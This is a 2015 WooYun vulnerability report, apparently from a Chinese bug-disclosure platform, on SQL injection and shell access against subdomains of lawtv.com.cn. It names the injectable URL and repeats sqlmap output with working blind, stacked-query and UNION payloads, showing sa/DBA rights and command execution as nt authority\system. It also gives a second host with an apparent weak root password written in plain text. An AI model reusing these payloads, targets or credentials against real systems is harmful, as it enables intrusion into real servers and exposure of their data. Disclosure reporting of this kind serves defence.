当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-099511

漏洞标题：法治中国子域名getshell两发

相关厂商：cncert国家互联网应急中心

漏洞作者： 好男不过百

提交时间：2015-03-05 11:05

修复时间：2015-03-10 11:06

公开时间：2015-03-10 11:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-05： 细节已通知厂商并且等待厂商处理中
2015-03-10： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

问题厂商哪里加了http://，害我重新写一次):

详细说明：

注入点一抓一大把
http://www.fzgc.lawtv.com.cn/Skins/Vedio.aspx?n_id=640&n_lx=10

sqlmap identified the following injection points with a total of 243 HTTP(s) requests:
---
Parameter: n_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: n_id=640 AND 5631=5631&n_lx=10
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: n_id=640;WAITFOR DELAY '0:0:5'--&n_lx=10
    Type: UNION query
    Title: Generic UNION query (NULL) - 66 columns
    Payload: n_id=-3817 UNION ALL SELECT 95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(116)+CHAR(69)+CHAR(102)+CHAR(85)+CHAR(120)+CHAR(83)+CHAR(89)+CHAR(88)+CHAR(113)+CHAR(98)+CHAR(112)+CHAR(107)+CHAR(113),95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95-- &n_lx=10
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: n_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: n_id=640 AND 5631=5631&n_lx=10
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: n_id=640;WAITFOR DELAY '0:0:5'--&n_lx=10
    Type: UNION query
    Title: Generic UNION query (NULL) - 66 columns
    Payload: n_id=-3817 UNION ALL SELECT 95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(116)+CHAR(69)+CHAR(102)+CHAR(85)+CHAR(120)+CHAR(83)+CHAR(89)+CHAR(88)+CHAR(113)+CHAR(98)+CHAR(112)+CHAR(107)+CHAR(113),95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95-- &n_lx=10
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
current user is DBA:    True
available databases [7]:
[*] fazhi
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: n_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: n_id=640 AND 5631=5631&n_lx=10
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: n_id=640;WAITFOR DELAY '0:0:5'--&n_lx=10
    Type: UNION query
    Title: Generic UNION query (NULL) - 66 columns
    Payload: n_id=-3817 UNION ALL SELECT 95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(116)+CHAR(69)+CHAR(102)+CHAR(85)+CHAR(120)+CHAR(83)+CHAR(89)+CHAR(88)+CHAR(113)+CHAR(98)+CHAR(112)+CHAR(107)+CHAR(113),95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95-- &n_lx=10
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
current user is DBA:    True
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: n_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: n_id=640 AND 5631=5631&n_lx=10
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: n_id=640;WAITFOR DELAY '0:0:5'--&n_lx=10
    Type: UNION query
    Title: Generic UNION query (NULL) - 66 columns
    Payload: n_id=-3817 UNION ALL SELECT 95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(116)+CHAR(69)+CHAR(102)+CHAR(85)+CHAR(120)+CHAR(83)+CHAR(89)+CHAR(88)+CHAR(113)+CHAR(98)+CHAR(112)+CHAR(107)+CHAR(113),95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95-- &n_lx=10
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
current user:    'sa'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: n_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: n_id=640 AND 5631=5631&n_lx=10
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: n_id=640;WAITFOR DELAY '0:0:5'--&n_lx=10
    Type: UNION query
    Title: Generic UNION query (NULL) - 66 columns
    Payload: n_id=-3817 UNION ALL SELECT 95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,CHAR(113)+CHAR(122)+CHAR(107)+CHAR(106)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(116)+CHAR(69)+CHAR(102)+CHAR(85)+CHAR(120)+CHAR(83)+CHAR(89)+CHAR(88)+CHAR(113)+CHAR(98)+CHAR(112)+CHAR(107)+CHAR(113),95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95,95-- &n_lx=10
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
command standard output [1]:
[*] nt authority\system


sa权限，不多说了
http://www.qh.lawtv.com.cn:8080/
wdcp加mysql用户
貌似也是弱口令 root/wdlinux.cn

漏洞证明：

9.png

修复方案：

duang～

版权声明：转载请注明来源 好男不过百@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-03-10 11:06

厂商回复：

最新状态：

暂无